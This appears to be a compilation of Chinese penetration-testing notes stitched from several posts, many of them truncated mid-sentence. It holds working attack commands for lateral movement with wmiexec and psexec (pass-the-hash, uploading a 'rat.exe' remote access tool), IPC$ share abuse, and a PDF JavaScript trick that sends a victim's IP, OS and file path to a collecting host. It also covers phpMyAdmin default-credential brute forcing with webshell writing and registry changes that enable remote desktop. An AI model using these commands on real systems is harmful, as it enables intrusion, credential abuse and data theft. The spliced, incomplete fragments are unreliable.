WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
一、wmiexec.vbs 使用(需要目标用户的明文)
1. 半交互shell模式
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 hostname\username password cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 doamin\username password
2. 单条命令执行模式:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 username password "whoami" cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 hostname\username password "whoami" cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 doamin\username password "whoami"
二、Wmiexec 使用(需要知道目标用户明文或者hash)
1. 半交互式shell模式:
wmiexec ./admin:password@192.168.1.1 wmiexec hostname/admin:password@192.168.1.1 wmiexec domain/admin:password@192.168.1.1 wmiexec -hashes :$HASH$ ./admin@192.168.1.1 wmiexec -hashes :$HASH$ hostname/admin@192.168.1.1 wmiexec -hashes :$HASH$ domain/admin@192.168.1.1
2. 执行命令模式
wmiexec ./admin:passwo
利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。
一、Psexec使用
利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:
1. 通过明文密码的方式获得目标主机的半交互式shell:
psexec \\192.168.1.2 cmd # 需要先有ipc链接 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行
2. 通过hash传递的方式获得远程主机的半交互式shell:
psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3
3. 上传exe到目标执行:
psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
二、使用总结
1. Psexec 需要目标开启 admin$ 共享
2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹
3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。
一、利用流程
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
二、IPC
1. IPC简介及使用
IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:
net use \\server\ipc$"password" /user:username # 链接工作组机器 net use \\server\ipc$"password" /user:domain\username # 链接域内机器
其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:
dir \\192.168.72.128\C$\ # 查看文件列表 copy \\192.168.72.128\C$\1.bat 1.bat # 下载文件 copy 1.bat \\192.168.72.128\C$\1.bat # 上传文件 net use \\192.168.72.128\C$\1.bat /del # 删除IPC net share ipc$ | admin$ # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$) net view 192.168.72.128 # 查看对方共享
注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。
2. 建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Window
很久之前的笔记了,在渗透测试中比较好用的一个洞。
一、简述
截至2019年3月1号为止,Google还没能修复该漏洞。当用户使用Google Chrome作为本地PDF查看器时,利用Google Chrome 的0day激发恶意PDF中的代码,造成一些用户敏感歇息泄露(用户公共IP、OS、Chrome版本以及PDF文件的完整路径)。
主要问题:pdf允许插入javascript,时Adode 为了自定义化PDF格式。Acrobat语法可以参考 https://www.pdfill.com/download/Acro6JSGuide.pdf
二、漏洞复现
1. 下载的PDF阅读器
这里使用的 破解版的PDF阅读器Adobe Acrobat Pro DC 2018(Windows)对一个pdf文件进行编辑。如果没有JavaScript,需要在编辑->管理工具中添加。
2. 选择文档级JavaScript,给及脚本命名,添加app.alert(‘xss’);将会有弹窗。
3. 修改代码,将发送的请求替代XSS。
function test() { this.submitForm("http://192.168.190.137/"); } test();
4. 再次打开修改后的pdf,抓流量会发现如下图所示:
获得的敏感信息包括:目标的公网IP(或者内网边界IP)、目标的操作系统、Google Chrome 版本、打开pdf的路径(系统用户名)。
三、漏洞评价
无法确定目标网络边界时,利用该漏洞结合邮件发送进而确定内网边界。同时通过该漏洞可以获得系统用户名,可以结合社工进行精确定位,或者可以用于内网定位管理员。以上仅仅个人拙见,如有错误,欢迎讨论学习!
渗透过程中经常会遇到5432端口的Postgresql 服务特意总结下常用的攻击方式,个人拙见,如有疑问请与我联系,欢迎一起讨论学习。
一、Postgresql 安装与启动
安装:sudo apt-get install postgresql 安装后会:
(1)创建名为"postgres"的Linux用户
(2)创建名为"postgres"不带密码的默认数据库账号作为数据库管理员
(3)创建名为"postgres"表
(4)默认用户创建的库为public
启动:sudo /etc/init.d/postgresql restart
二、数据库用户权限说明
1. login: 可登录
2. superuser:数据库超级用户
3. createdb:创建数据库权限
4. createrole:创建和删除其他普通用户的权限
5. replication:流复制时用到的一个用户属性,需要单独设定
6. password:登录时需要指定密码
7. inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限
三、psql管理
执行命令:sudo -u postgres psql进入可以执行sql语句和psql的基本命令,链接远程数据库可以使用如下命令:
psql -U dbuser -d exampledb -h ip -p 5432
常用的命令如下:
(1)\password:设置密码
(2)\h:查看SQL命令的解释,比如\h select
(3)\l:列出所有数据库
(4)\c [database_name]:连接其他数据库
(5)\d:列出当前数据库的所有表格
(6)\d [table_name]:列出某一张表格的结构
(7)\du:列出所有用户
(8)\conninfo:列出当前数据库和连接的信息
(9)\q:退出
psql备份与还原:
(1)备份:
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432
在对目标进行目录扫描时经常会遇到phpmyadmin,特地总结下phpmyadmin的利用思路,关于phpmyadmin的漏洞环境可以参考vulhub,复现过的都忘记截图,请大家见谅。
一、phpmyadmin版本判断:
也可以直接访问:/doc/html/index.html目录
二、phpmyadmin利用:
phpmyadmin的漏洞多为经过验证后的才能利用,所以需要进入后台,可以采用爆破的方式进入后台,常用的有:root:root 、root:(space)、mysql:mysql ......
1. 最常使用的getshell方式:
直接用into outfile 直接在网站目录下写入webshell,但是该方法需要前提条件是:
(1) 当前的数据库用户有写权限
(2) 知道web绝对路径
(3) web路径能写
1.1 如何判断当前数据库用户有写权限?
执行:show variables like '%secure%'; 如果secure_file_priv如果非空,则只能在对应的目录下读文件,如果是空即可在其他目录写。Linux下默认/tmp目录可写。
1.2 web绝对路径:在可读写的前提下如何获取web路径?
(1) phpinfo() 页面:最理想的情况,直接显示web路径
(2) web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径
(3) 一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径show variables like '%datadir%'; ,再猜解web路径的方法,一般容易成功。
(4) 利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件。
Trick:如何判断目录是否存在,往往确定了/var/www/html目录,但是还有一层目录不能确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用select 'test' into outfile '/var/www/$fuzz$/s
注册表是Windows在win95/98系统开始引入的一种核心数据库,里面存放着各类的配置信息、参数等、直接控制着系统的启动、硬件的装载及Windows程序的运行。
一、注册表结构:键、值、类型
二、根键的分类及作用
1. HKEY_CLASSES_ROOT:是应用程序运行时必需的信息,包括扩展名和关联、所有的驱动程序名称、类的ID数字、用于应用程序和文件的图标。
2. HKEY_CURRENT_USER:管理系统当前的用户信息。在这个根键中保存了本地计算机中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。在用户登录Windows时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。
3. HKEY_LOCAL_MACHINE:保存了注册表里的所有与这台计算机有关的配置信息。
4. HKEY_USERS:仅包含了缺省用户设置和登录用户的信息。包含了所有独立用户的设置,但在用户未登录时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。
5. HKEY_CURRENT_CONFIG:包括了系统中现有的所有配置文件的细节。它与HKEY_LOCAL_MACHINE的不同之处是它的改变不会涉及到多个注册表信息的改变。
PS:上述的根键分别有对应的缩写,缩写规则是:第一个单词前两个字母和后两个单词首字母,如:HKCU为"HKEY_CURRENT_USER"的缩写,其他根键为"HKCR"、"HKLM"、"HKU"、"HKCC"等
三、reg命令
可以实现对注册表进行添加、删除、查看、备份、还原等操作。
1. 注册表添加:向"HKEY_CURRENT_USER"下创建一个子键"Teng",在该子键中添加名为"hello",类型为"REG_ZS",数据为"welcome"
reg add HKCU\Teng /v hello /t REG_SZ /d "welcome"
其中 /v 值 /t 类型 /d 数据
2. 修改注册表中的值,例如开启远程桌面 1->0
reg add "hklm\system\currentcontrolset\control\terminal server" /f